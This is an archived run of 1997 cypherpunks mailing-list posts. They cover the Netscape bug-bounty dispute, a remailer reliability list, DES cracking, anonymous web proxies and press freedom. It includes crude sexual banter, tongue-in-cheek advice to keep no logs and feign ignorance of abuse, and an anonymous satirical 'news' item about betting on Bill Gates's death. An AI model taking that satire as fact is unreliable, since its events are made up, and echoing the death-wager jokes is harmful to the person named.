> > to me to see this kind of bluffing and "terorrism" (to quote Homer,
> > with his rosy-fingered typing). What's surprising is that it hasn't
> > happened more often, or at least hasn't gotten as much publicity.

  It probably doesn't get reported very often because a company
usually doesn't have foreknowledge of the problem (i.e. it is a
genuine "bug" in their product) and thus it is in their best
interest to pay to find out the specifics of the problem.
  When you're innocent of wrongdoing, it's called a business
negotiation. When you're guilty of wrongdoing, its called
blackmail?
  So if Tom Weinstein calls it blackmail, then I guess that pretty
much indicates Netscape's position in regard to their browser's
ability to be used to compromise the user's privacy and security.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:48:06 +0800
To: cypherpunks@toad.com
Subject: 2nd New Netscape Bug Reported
Message-ID: <199706160428.VAA10418@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



[Routers--Moose Jaw, Saskatchewan]
June 17, 1997

Bellgate or Bill Gates?
   by Declan McCypherpunk

  A wanna-be programmer in this small Canadian town stumbled upon an
undocumented feature in the Netscape browser which allows the user to
place a bet on the date of death of computer magnate Bill Gates.
  While early reports are sketchy, it appears that the scheme involves
Tom Weinstein, Ed McMahon and the cypherpunks remailer system.

  When approached by Kookie Roberts for comment, Tom Weinstein loudly
proclaimed, "I don't even know Jim Bell, honest."
  When Kookie Roberts asked Weinstein who the hell Jim Bell was, he
quickly muttered, "Never mind..."

  Ed McMahon would only say that on September 4th, some lucky winner
would be receiving an anonymous digicash transaction from him.
  When pressed for details about the date, McMahon's face flushed a
bright red and he quickly exited the scene, accompanied by men with
Italian names, and a former CIA PR representative explained that what
McMahon "meant to say" was "no comment."

  Unsubtatiated rumors also indicate that if the netscape.exe file is
printed out as a .gif file, that it pictures a layout of Microsoft
Corporate headquarters and the Gates estate.
  When asked for a response to the announcement of the new revelations
a Microsoft spokesperson cryptically replied, "Anyone who bet on Bill
Gates dying on September 4th ain't gonna win shit." When pressed as to
whether he personally used the Netscape browser, the MS spokesperson
only grinned and winked.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 16 Jun 1997 18:53:22 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Key Ass-crow
In-Reply-To: <199706151816.OAA05838@dhp.com>
Message-ID: <Pine.LNX.3.91.970615215541.2585B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Kind of like trusting a friend not to bugger you while you are
> drunk and passed out. (But he can't prevent the police from hauling
> you in for public intoxication and locking you up with someone who
> might do so.)

Yes, reminds me of last night, I fortunately escaped being buggered however.

>   This is much like having a Dominatrix who chains you to the toilet
> and brings out a mixed bag of utensils and instruments which are about
> to be used for purposes that are a far cry from what they were created
> for, and to access areas that Nature never intended to be subjected to
> large amounts of sunshine.

Yes, a notable change of style, fuckmonger perhaps?

>   Perhaps someone should come out with a GAK T-shirt which has a
> citizen "assuming the position" while a GAK cop stands behind him
> with a crowbar stuck halfway up the citizen's ass, and saying,
> "If you don't have anything to hide, then you have nothing to
> worry about."

This has given me an idea. I think I will have just such a T-Shirt made 
up "GAK: Government access to Krevices ;-)"
You never know what one of those nasty terrorists has stuck up their ass.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 16 Jun 1997 10:43:07 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151830.OAA07797@dhp.com>
Message-ID: <v03020952afca5036048b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:30 pm -0400 on 6/15/97, lucifer Anonymous Remailer wrote:


>   So...did you bring enough for everybody?

Nope. Only the metabolites in my poor liver left. Hey. I wonder if what
they say about losing weight and flashing back is true...

itsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieitsonlyamovieit
sonlyamovieitsonlyamovieitsonlyamovie...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 16 Jun 1997 10:37:30 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Homer on Terrorism
In-Reply-To: <33A49D42.49741BF5@netscape.com>
Message-ID: <199706160215.WAA17222@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	Since this list has bred a lot of security consultants, I'll
comment on the business practices here.

	Sending a company a bill for doing work they didn't agree to
in advance is wrong.  I've spent substantial amounts of time finding
and documenting bugs in various products.  Some of its public, a lot
is not.  In most every event, the handshake and thank you has led to
consulting work for the company.

	If I show up with a bill in hand, thats not the right way to
start a business relationship.  So, questions of blackmail aside, its
plain bad practice.   I'll note that the company in Denmark is not a
well known one, nor is the name one that I've seen, so there are
questions of if the individual is using their true name or not while
chasing the money.  If they are not, it may be because they feel that
this sort of business practice is one they'd like to disassociate
themselves from.

Adam

Tom Weinstein wrote:

| > One can imagine people approaching a company with reports of a bug--as
| > a certain math professor approached a certain chip company with
| > reports of a strange FDIV problem--and being given the polite
| > runaround. "Thank you for sharing. We'll have one of our QA engineers
| > look into your report and maybe he'll get back to you."
| > 
| > (I have no idea if Netscape reacted in this way, but I can imagine
| > that the flow of bug reports may cause many to linger in the "In"
| > baskets without action.)
| 
| As a matter of fact, we responded to him very quickly.  The day after
| we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
| (Java security), and I were present.  We gave it serious attention as
| we do with all security holes.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 16 Jun 1997 12:24:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v03102801afca23e96bf3@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim is right to raise these points. In fact I've talked about "DC
insiderism" with him and here on the list in the past.

But Tim's conclusions are way off-target. Just because you have access to
information doesn't mean you've been co-opted. For instance, contrary to
what Tim says, I've never "promised to spin the story in a certain way."
That's the job of a PR flack, not a journalist. Also, contrary to what Tim
says, I've never been "sworn to secrecy." Rather, some discussions are
off-the-record, which is fairly common practice even if you're covering
City Hall in Topeka. Doesn't mean I can't use the information -- as I said
in the paragraph Tim elided, I do -- just that I can't quote a particular
person.

Tim writes: But you're sure showing all the signs of becoming just another
Washington Insider."

In truth I'm doing what a reporter should do: talk to lots of folks who
are involved in a particular issue. If this makes me an "insider," I'll
cop to that. But if I didn't meet and chat with thse folks, I wouldn't be
doing my job.

I mean, geez, if nothing else, look at what I've been writing. Last
Thursday I wrote about how the Federal government should get out of the
business of "protecting privacy." On Friday I wrote about how "protecting
children" from animated cartoon images is another pretext for
Net-censorship. Who else is saying that?

If anything, I've becoming more cynical as I spend more time on this beat.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 19:09:23 +0800
To: cypherpunks@toad.com
Subject: BYE_cda
Message-ID: <1.5.4.32.19970616104329.0070f738@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



6-16-97, NYP:

With a groundbreaking Supreme Court decision imminent on a
new law restricting children's access to indecent material on the
Internet, senior Clinton administration officials are preparing a 
policy that undercuts the administration's strong support of the 
law until now.

Administration officials, anticipating that the court will strike the 
law down as an unconstitutional abridgment of free speech, 
have been quietly fashioning a new communications policy that 
leaves most regulation of the sprawling online world to the industry 
itself.

No announcement will be made until the court rules on the 
constitutionality of the Communications Decency Act of 1996. 
And officials noted that the current draft of a working group's 
report, dated June 4, is not necessarily the last word spelling out 
the new approach. The president makes policy, they said,
and this matter will not be settled until he approves.

-----

BYE_cda

http://jya.com/byecda.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 16 Jun 1997 22:24:09 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706161350.GAA26212@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 16 Jun 97 6:49:32 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config@weasel.owl.de             +--+--+--+-   1:51:30  99.94%
squirrel mix@squirrel.owl.de              +-+++-+--+-   1:48:38  99.93%
hidden   remailer@hidden.net              -###_____.+- 31:17:55  99.88%
balls    remailer@huge.cajones.com         ####+# -+##    37:39  99.73%
mix      mixmaster@remail.obscura.com     --.-.-...-.  10:15:59  99.71%
replay   remailer@replay.com              ** *  **-++*     7:46  99.62%
jam      remailer@cypherpunks.ca          ***** ++ ++*    12:39  99.58%
reno     middleman@cyberpass.net          ---+_---.---  2:05:48  99.44%
cyber    alias@alias.cyberpass.net        ** * **+++**    21:08  98.20%
winsock  winsock@rigel.cyberpass.net      ---------- -  6:05:20  98.03%
lucifer  lucifer@dhp.com                  ++  ++++-+++    42:58  97.94%
nym      config@nym.alias.net                        #     2:46  51.51%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 16 Jun 1997 22:24:53 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: We need more surveillance--a morality play about terrorism
In-Reply-To: <33A482AC.3C0E@disposable.com>
Message-ID: <3.0.2.32.19970616070059.0076d9c4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:02 PM 6/15/97 -0700, Rich Graves wrote:

>A guy on the way to the shooting range is pulled over for speeding.
>The cop notices the guns, orders him out of the car, and asks where
>he's going. He answers, "Let me explain the way I think this country
>works. I am going wherever I damn well please." So the cop gives him
>a speeding ticket, and he continues on his way.
>
>Now tell me, is this evidence that we're living in a police state?
>
>Of course it probably helped that the guy was white, and probably
>driving a "decent" car, and carrying "decent" guns and not some
>"Saturday Night Special." 

The guy being white and educated may well have convinced the cop to not
make a fuzz. My local newspaper recently ran an article about a few
Hispanic looking folks who had some photographs of themselves holding guns
in their hands developed at the supermarket. Before they even picked up the
prints, the clerk had called the cops which in turn raided the unfortunate
gun owners.

It turned out that the Hispanics owned the firearms legally.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 20:08:41 +0800
To: cypherpunks@toad.com
Subject: New CIA Rule on Information Access
Message-ID: <1.5.4.32.19970616112542.008ca6d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The CIA has published in the Federal Register today interim
rules and soliciting comments prior to adoption of final rules to
implement its obligations under the Freedom of Information Act, 
the Privacy Act, and Executive Order 12958 provisions relating 
to classification challenges by authorized holders, requests
for mandatory declassification review, and access by historical 
researchers.

   http://jya.com/cia061697.txt  (150K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 16 Jun 1997 20:58:06 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <524D9D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> But Tim's conclusions are way off-target. Just because you have access to
> information doesn't mean you've been co-opted. For instance, contrary to
> what Tim says, I've never "promised to spin the story in a certain way."

You don't have to promise.  You're very predictable.  Given certain
inputs you're very likely to write certain outputs.

> I mean, geez, if nothing else, look at what I've been writing. Last
> Thursday I wrote about how the Federal government should get out of the
> business of "protecting privacy." On Friday I wrote about how "protecting
> children" from animated cartoon images is another pretext for
> Net-censorship. Who else is saying that?

Can a mailing list poster silence others by talking too much?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 02:56:43 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <3.0.2.32.19970616095518.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:08 PM 6/13/97 -0700, Eric Murray wrote:
>Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
>the attacker would need a lot of compute power to brute-force the key.
>I wouldn't worry too much about someone getting my secring.pgp.  However
>I would worry about them getting my mail folder, my .rhosts, my
>/etc/password, etc.

This is one area where evil mail reader clients like Microserf Mail
do better than decent mail clients.  The MSMail mailbox is one huge file,
structure undocumented, encrypted with an algorithm strong enough to
defeat Stacker/Doublespace and prevent you from repairing the file
if it's corrupted* but not strong enough to keep the NSA out.
MSMail encourages you to send MSWord attachments and Powerpoint graphics
instead of just writing text, so it's not uncommon to have a 
100MB mailbox in a typical corporate marketdroid environment.
If someone steals my Eudora mailboxes, they'll need to snarf a few MB
of accumulated mail (though much of the good stuff will be saved
in files), but even if they only get part of the file, it's readable.
Someone who steals my MSMAIL.MMF will get 100+MB of noise,
hiding a relatively small amount of signal, and if they only get
part of it before losing the connection, it'll probably be corrupt.

[*Actually, my MSMAIL.MMF _is_ corrupted - MSMail has a self-repair /
garbage collector feature enabled by hitting magic keys at startup,
which on my mailbox is a bit overenthusiastic -- it deletes all the
attachments, leaving only the headers/text of messages and the
icons for the now-missing attachments.  So I can't use it...]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 03:06:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v0302097fafc750f91426@[139.167.130.246]>
Message-ID: <3.0.2.32.19970616100719.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:10 PM 6/13/97 -0700, Tim May wrote:
>>Awwww, Caaa'monnn.
>>You mean they can license handguns, but not reporters???

>Indeed, it is strange. What part of "Congress shall make no law" 
>do they not understand?

the part between "Congress shall make no law" and "shall not be infringed"...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 17 Jun 1997 01:49:22 +0800
To: cypherpunks@toad.com
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <Pine.GSO.3.95.970615232644.25854A-100000@cp.pathfinder.com>
Message-ID: <v03102800afcb21804eb5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:26 AM -0700 6/16/97, Paul Bradley wrote:
>> I mean, geez, if nothing else, look at what I've been writing. Last
>> Thursday I wrote about how the Federal government should get out of the
>> business of "protecting privacy." On Friday I wrote about how "protecting
>> children" from animated cartoon images is another pretext for
>> Net-censorship. Who else is saying that?
>
>I must side with Declan here, true, sometimes Declans articles show a
>subtle hint of insiderism <tm>, but I believe that is an inevitable
>consequence of working around people in D.C. who don`t want to be
>directly associated with certain statements, to quote them against their
>will would be journalistic suicide and would soon see Declan with no
>contacts whatsoever.

Some of you, including Declan, have read too much in my comments. I did not
say he _had_ sold out, I said in several places there is a well-known
danger of becoming assimilated by the Washington system. Reread what I said.

(By the way, I've never suggested Declan would lose his ideological
bearings. Democrats and Republicans who become assimilated remain true to
their roots, but they see everything as part of a larger system, a
negotiation. They lose their ability to see in outside the Beltway simple
terms. The giveaway will be if and when Declan begins to say that things
are not so simple.)

>Also, although his articles are often written to be readable by the
>uninformed rather than security experts or cryptographers they often
>raise important points. Remember, although through Declan and John Young
>we have a lot of current news posts coming on to the list the average AOL
>account owning newbie won`t know about these things and reading some of
>Declans articles might just get them thinking.

Without intending to criticize Declan, I see nothing especially new or
insightful in his pieces. Stuff we've covered many times. The main
attention given to his articles comes from, I strongly suspect, our
projection that the sheeple are reading and being persuaded by his articles.

But, all part of the traditional "journalist as celebrity" path. No, this
is not jealousy speaking....I'm rather satisfied with my rate of pay over
the years compared to what I might have earned in journalism! And if I
really wanted to speak to the masses, I'd be more diligent in pursuing book
deals.

I wish Declan well, really. But his frequent name-dropping about soirees
he's been invited to, bigwigs he's had power lunches with...well, I think
the evolution has been set in motion. "Things are not as simple as
libertarians would have us believe."?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@ZedZ.com>
Date: Mon, 16 Jun 1997 16:25:57 +0800
To: db-nl@dds.nl
Subject: (fwd) Demo of new personalized web "Anonymizer"
Message-ID: <199706160815.KAA00484@outcast.zedz.net>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Alex de Joode -----

From: alain@allegra.tempo.att.com (Alain Mayer)
Newsgroups: sci.crypt,sci.crypt.research
Subject: Demo of new personalized web "Anonymizer"
Date: 11 Jun 1997 17:49:02 -0700
Organization: Bell Labs, Murray Hill, NJ
Message-ID: <5nnh1u$djk@joseph.cs.berkeley.edu>

Hi!
 
We are Bell Labs researches currently experimenting with a new tool that
helps you easily create and use consistent unique personal identities at web
sites that provide personalized services.  LPWA (Lucent Personalized Web
Assistant) creates these unique identities on demand. LPWA supports these
features:
- Privacy: Your true identity remains unknown to the web-sites. When a
     web-site asks you to provide a username, password, or e-mail
     address, you instead enter '\u', '\p', or '\@', and the LPWA proxy
     submits to the web-site an alias-username, an alias-password, or
     an alias-e-mail address. LPWA computes a different, but consistent,
     alias for you for each web-site.
- Convenience: Because LPWA computes your alias identity for you, you do
     not need to invent and remember multiple usernames and passwords. Instead,
     you only need to remember and protect one secret ("universal
     password").  You provide your secret to the proxy, along with your
     e-mail address, exactly once during a browsing session, after that
     you browse the web transparently.
 
Check    http://lpwa.com/      to see how to use LPWA.  To obtain more
information about LPWA, see   http://www.bell-labs.com/project/lpwa/
Pointers to personalized web-sites, where you can open and maintain
accounts, are given in
http://www.bell-labs.com/project/lpwa/background.html#personalized
 
Please note that this project has not yet been publicy announced and that
documentation and code are currently being revised. Also, the current
(temporary)  set-up,  where you have to connect to LPWA over an insecure
connection is not "optimal" (to say the least, but all in all much better
than if you browse the "usual way"). Hence, we are really looking for
"friendly users" at this time whose feedback will help us to make improvements.
 
Regards,
   Alain Mayer

----- End of forwarded message from Alex de Joode -----

Groet,
--
Alex de Joode
usura@zedz.com  |  ZedZ InterNET Laboratories  |  http://www.zedz.net 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 17 Jun 1997 01:49:23 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IBM sues critics?
In-Reply-To: <19970614184538.11070.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.96.970616101622.7649I-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On 14 Jun 1997, Secret Squirrel wrote:

> This means IBM is suing such people as Matt Blaze, Whitfield
> Diffie, and Ronald Rivest, along with AT&T, Sun, Microsoft, and MIT
> over the question of whether its key recovery system really works.
> Considering that truth is a defense and the details of the
> IBM system could be part of the defense's evidence, it should be an
> interesting trial to say the least.

Has anyone asked Matt Blaze and/or any of the others mentioned above if
they have heard anything about this?

[I would do so myself, but I am away from my address lists, other than the
memorized ones.]

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 17 Jun 1997 03:06:37 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <Pine.GUL.3.95.970613205522.3433K-100000@Networking.Stanford.EDU>
Message-ID: <3.0.2.32.19970616102113.00751b44@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:59 PM 6/13/97 -0700, you wrote:
>This is why we need more remailers, and why it's good that you posted
>anonymously. The proper thing to do is to be "shocked, shocked!" that
>anything illegal is happening on your server, 
	... your ecash, sir ....
>immediately shut it down (counting on the network to be self-healing
>with the help of an enhanced remailer list), and offer to cooperate fully. 
>Unfortunately, you don't keep logs, so you wouldn't really be able to help
> (damn!).

Shutting it down would be bad - that gives them an easy denial of service
attack (though better to have them use that attack than child porn....)

Put a warning on the front page that it's NOT to be used for
illegal purposes etc., phrased seriously, complaining that you'll
have to shut it down if people keep abusing it...
And make sure your proxy server only accepts encrypted requests,
so that eavesdropping doesn't gain much.

The hard problem is getting enough people to run the things.
While the _right_ solution is probably to put anonymous web proxies
in the distribution versions of Apache or Stronghold, so that there
are thousands of them, the alternative is convincing people to run them.
Unlike email remailers, where the big annoyance is dealing with spam,
the main problem with running web proxies is just volume.
Adding a semaphore or rate limiter to the proxy might help,
and I've heard some people have blocked large GIFs - but you
still want to handle downloads of contraband software,
which means accepting and caching multi-megabyte code.

I suppose it would be interesting for anonymous web proxies
to generate cover traffic as well - periodically browse sites like
Radikal mirrors and other contraband.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Mon, 16 Jun 1997 23:08:08 +0800
To: cypherpunks@toad.com
Subject: Anguilla surpasses US military in code breaking challenge.
Message-ID: <Pine.LNX.3.95.970616103041.13900B-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Press Release
Anguilla, June 16, 1997

    Anguilla surpasses US military in code breaking challenge.

The Caribbean country of Anguilla has searched through more than
2,380,000,000,000 code keys as part of the Deschall effort to break a DES
encrypted message.  This is in response to a challenge by RSA Inc to show
that DES 56 bit keys are not large enough given the rapid advances in
computing technology.  As of June 16th, the entire US military effort,
represented by Internet machine names ending in ".mil" in the Deschall
statistics pages, has searched fewer keys.  Anguilla host names end in
".com.ai".  Anguilla is a free and democratic country, that does not limit
key lengths. 

Offshore Information Services organized the Anguilla effort.  OIS also
hosted a conference in Anguilla called "Financial Cryptography 97" in
February of this year. 

Deschall:   http://www.frii.com/~rcv/deschall.htm
RSA:        http://www.rsa.com/rsalabs/97challenge/
Offshore:   http://www.offshore.com.ai/
Statistics: http://www.frii.com/~rcv/krstat/
FC97:       http://www.offshore.com.ai/fc97/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Vincent Cate                           Offshore Information Services
 Vince@Offshore.com.ai                  http://www.offshore.com.ai/
 Anguilla, BWI                          http://www.offshore.com.ai/vince
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Mon, 16 Jun 1997 23:14:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <v03102803afc9c0a4fffd@[207.167.93.63]>
Message-ID: <97Jun16.105958edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 15 Jun 1997, Tim May wrote:

> I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
> memory footprint went up dramatically (Macintosh version at least), so that
> I can no longer have all my favorite apps open. If I want to check stock
